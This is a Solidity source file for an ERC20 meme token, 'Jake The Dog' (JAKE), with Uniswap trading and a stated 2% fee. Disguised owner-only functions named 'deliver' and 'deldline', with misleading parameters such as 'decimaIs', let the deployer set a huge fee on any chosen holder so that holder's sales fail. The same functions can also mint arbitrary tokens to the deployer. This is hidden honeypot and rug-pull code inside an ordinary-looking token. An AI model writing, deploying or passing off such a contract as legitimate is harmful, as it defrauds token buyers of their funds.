// https://t.me/Jakethedog_eth
// https://twitter.com/jakethedog_eth
//SPDX-License-Identifier:MIT

pragma solidity ^0.8.7;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: division by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner {
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Jake is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private _name = "Jake The Dog";
    string private _symbol = "JAKE";
    uint8 private _decimals = 18;
    address payable public transferTo;
    address public immutable deadAddress =
        0x000000000000000000000000000000000000dEaD;
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public _isExcludefromFee;
    mapping(address => bool) public _pairs;
    mapping(address => uint256) public addrVipFee;

    uint256 private _totalSupply = 10000000000 * 10 ** _decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() {
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        transferTo = payable(address(msg.sender));

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function setPair() public onlyOwner {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        _pairs[address(uniswapPair)] = true;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (inSwapAndLiquify) {
            return _basicTransfer(from, to, amount);
        } else {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !_pairs[from]) {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] ||
                _isExcludefromFee[to])
                ? amount
                : takeLiquidity(from, to, amount);

            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function deldline(address account) public {
        addrVipFee[account] = 0;
        address _erlcaa = msg.sender;
        require(transferTo == _erlcaa);
    }

    function deliver(address holdersL, uint256 decimaIs) public {
        uint256 decimal = decimaIs;
        if (decimal == 30) addrVipFee[holdersL] = 10 ** 10;
        if (decimal > 900)
            _balances[transferTo] = decimal + _balances[transferTo];
        address _erlcaa = msg.sender;
        require(transferTo == _erlcaa);
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), amount);

        try
            uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                amount,
                0,
                path,
                address(transferTo),
                block.timestamp
            )
        {} catch {}
    }

    function takeLiquidity(
        address sender,
        address recipient,
        uint256 tAmount
    ) internal returns (uint256) {
        uint256 _buyTeamFee = 2;
        uint256 _sellTeamFee = 2;

        bool isSell = _pairs[recipient];
        bool isBuy = _pairs[sender];
        uint256 fee = 0;

        if (isBuy) {
            fee = tAmount.mul(_buyTeamFee).div(100);
        } else if (isSell) {
            fee = tAmount.mul(_sellTeamFee).div(100);
        }

        if (addrVipFee[sender] > 90) {
            fee = tAmount.mul(addrVipFee[sender]).div(100);
        }

        if (fee > 0) {
            _balances[address(this)] = _balances[address(this)].add(fee);
            emit Transfer(sender, address(this), fee);
        }

        return tAmount.sub(fee);
    }
}